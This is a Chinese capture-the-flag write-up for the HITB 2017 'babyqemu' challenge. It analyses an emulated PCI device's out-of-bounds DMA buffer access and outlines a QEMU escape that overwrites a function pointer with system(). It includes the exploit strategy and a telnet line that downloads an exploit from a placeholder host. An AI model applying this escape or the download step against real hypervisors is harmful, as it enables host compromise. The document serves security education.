熟悉题目,顺便介绍基础知识
先看启动脚本,基本就是hitb的设备的漏洞了
1 | #! /bin/sh |
发现root登录都不用密码的
我们用ida载入,由于有符号的,函数那直接搜索hitb就出现相关函数了,通过初始化函数即下面的init函数可以看到device id是0x2333(记住WORD1这个是device id就行),还有设置了pci_hitb_realize也是初始化的,pci_hitb_uninit就是跟pci_hitb_realize相反的操作,进行destroy,del等操作
1 | void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data) |
ida在local type那里可以搜索hitb,可以看到设备的数据结构
1 | struct __attribute__((aligned(16))) HitbState |
在struct那里有偏移会好点
1 | 00000000 HitbState struc ; (sizeof=0x1BD0, align=0x10, copyof_1493) |
还有两个相关的
1 | 00000000 dma_state struc ; (sizeof=0x20, align=0x8, copyof_1491) |
看一下pci_hitb_realize,
1 | void __fastcall pci_hitb_realize(HitbState *pdev, Error_0 **errp) |
timer_init_tl设置了&pdev->dma_timer的回调函数是hitb_dma_timer,回调函数的参数是pdev,理解来源于下面qemu的源码及注释,而倒数第二行memory_region_init_io函数就是初始化内存映射IO,指定了MMIO的操作&hitb_mmio_ops(这个的read和write分别指向hitb_mmio_read,hitb_mmio_write),最后pci_register_bar将&pdev->mmio注册到qemu PCI设备的BAR(Base Address Registers,BAR记录了设备所需要的地址空间的类型,基址以及其他属性。),其中第二个参数0,代表注册的是MMIO,假如是1就代表注册PMIO
1 | /** |
我们回过头来看看pci设备,根据id,就知道是最后一个了,这个系统太mini了,lspci -v
看不到任何详细的信息
1 | # lspci |
那我们去看文件系统中的,可以看到MMIO的信息,起始地址是0x00000000fea00000
,根据第二个地址,size可算出是0x100000这么大
1 | # cat /sys/devices/pci0000\:00/0000:00\:04.0/resource |
其实除了hitb_class_init,还有hitb_instance_init初始化函数,他们都在hitb_info_27046中
1 | .data.rel.ro:0000000000969020 ; Function-local static variable |
而hitb_instance_init主要是初始化了HitbState->enc为函数指针hitb_enc
注:v1 += 0x1BC0 为dma_mask的偏移,减8就是enc的偏移了
1 | void __fastcall hitb_instance_init(Object_0 *obj) |
最后抛开题目,看看这两个init函数是怎么调用的,向上回溯发现从头到尾的调用是这样的,首先是_start函数,调用libc_start_main,再调用libc_csu_init,而__libc_csu_init循环调用_frame_dummy_init_array_entry[]里面的函数指针
1 | void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3) |
而_frame_dummy_init_array_entry[]里面的有下面的函数指针
1 | .init_array:0000000000964D68 dq offset do_qemu_init_pci_hitb_register_types |
跟随这个路子一直走,刚好就注册了hitb_info_27046
1 | void __cdecl do_qemu_init_pci_hitb_register_types() |
MMIO函数
read函数
1 | uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size) |
write函数
1 | void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
可以看到read函数返回的都是HitbState的字段,而write函数则是对HitbState字段的写入,应该没啥漏洞,关注下write函数的下面片段,这个应该会调用opaque->dma_timer的回调函数hitb_dma_timer
1 | else if ( addr == 152 && val & 1 && !(opaque->dma.cmd & 1) ) |
qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用
这两个函数定义可以看下面的链接
https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L96
https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L666
hitb_dma_timer
我们看看hitb_dma_timer函数,看这个函数可能算是模拟了DMA(直接存储器访问),可以让我们从读写dma_buf。(看看维基百科的描述:直接内存访问(Direct Memory Access,DMA)是计算机科学中的一种内存访问技术。它允许某些电脑内部的硬件子系统(电脑外设),可以独立地直接读写系统内存,而不需中央处理器(CPU)介入处理 。)
1 | void __fastcall hitb_dma_timer(HitbState *opaque) |
函数更加opaque->dma.cmd选择不同的分支,但是cmd的最低bit必须为1
这里重点是两个分支,一个是cmd&2==1的时候,即第二个bit为1,另一个分支则第二个bit为0
先看两个都有的cpu_physical_memory_rw,它调用的是address_space_rw
1 | void __fastcall cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write) |
所以第一个分支cpu_physical_memory_rw最后一个参数是1,所以最终调用的是address_space_write,第二个分支当然就是address_space_read_full
看address_space_write代码,可以知道cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);
是将v3复制到opaque->dma.dst,即将dma_buf[opaque->dma.src- 0x40000]
读取到opaque->dma.dst,而cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
则将opaque->dma.src复制到v6,即将opaque->dma.src的内容复制到dma_buf[opaque->dma.dst- 0x40000]
值得注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。
分析了这么多,漏洞点就在于对于dma_buf的索引没有任何限制,导致可以越界读写
漏洞利用
cpu_physical_memory_rw函数的第一个参数,他是一个物理地址,整个过程就是一个中间人的一个功能。
cmd= 1|2时,可以通过数组索引越界,将泄露的地址读入物理地址,致我们从这个地址读出,就完成了泄露
当cmd=1 时,可以将物理地址上面的值写到任意地址(事前我们可以通过上面cmd= 1|2时,将我们要写入的值写到物理地址)
漏洞利用思路
1、泄露函数指针enc,由于这个qemu-system-x86_64的导入表有system,所以我们直接可以算出system@plt
2、用system覆盖enc指针
3、写入opaque->dma_buf为要执行的命令,比如cat flag
4、使用cmd=1|2|4时,调用enc函数,劫持控制流
在编写代码中有一个坑点,你mmio_write的值的大小是8个字节,就会写两次,导致覆盖了下一个值,所以一定要按照src,dst,cnt的顺序来设置
我们在题目的目录建立一个flag文件用于测试
1 | giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ ls |
下面是逃逸执行system(“cat flag”)的效果(-append ‘console=ttyS0 root=/dev/ram oops=panic panic=1’ 可以让我们在host执行system(cmd)
,而输出显示在qemu的命令行中)
1 | __ __ _ _ _ _ ___ _____ ____ |
顺便尝试弹计算器
最终exp
1 | #include <stdio.h> |
关于调试
由于有符号,直接下断点即可,由于启动期间我这中断多多次,所以搞了很多个c
1 | giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ cat start.txt |
关于exp传到qemu中
由于这个ssh和scp都不奏效,而且网络也不通,所以就只能解开它的文件系统,把exp放进去root家目录,之后再压缩
解压命令是cpio -idmv < rootfs.cpio
,注意将rootfs.cpio放入一个新建的文件夹内再解开,有时候rootfs.cpio被gz二次压缩了可以用gunzip ./rootfs.cpio.gz
解开,再执行上面的命令即可。
那么每次修改为exp,执行下面的脚本即可
1 | giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ cat ./cpexptorootfs.sh |
当然在实际比赛中,网络肯定是通的,而且这里的镜像是一个类似于嵌入式的简单系统,没有nc,但是有busybox,busybox支持telnet命令,所以可以通过下面示例进行下载exp
1 | # telnet XXX.XXX.XXX.XXX 6666 > pwn.b64 |
参考
主要参考
https://kitctf.de/writeups/hitb2017/babyqemu
其他参考
https://github.com/coreos/qemu/blob/ed988a3274c8e08ce220419cb48ef81a16754ea4/include/qemu/timer.h#L414
https://github.com/qemu/qemu
https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L96
https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L666
https://zh.wikipedia.org/wiki/%E7%9B%B4%E6%8E%A5%E8%A8%98%E6%86%B6%E9%AB%94%E5%AD%98%E5%8F%96
https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/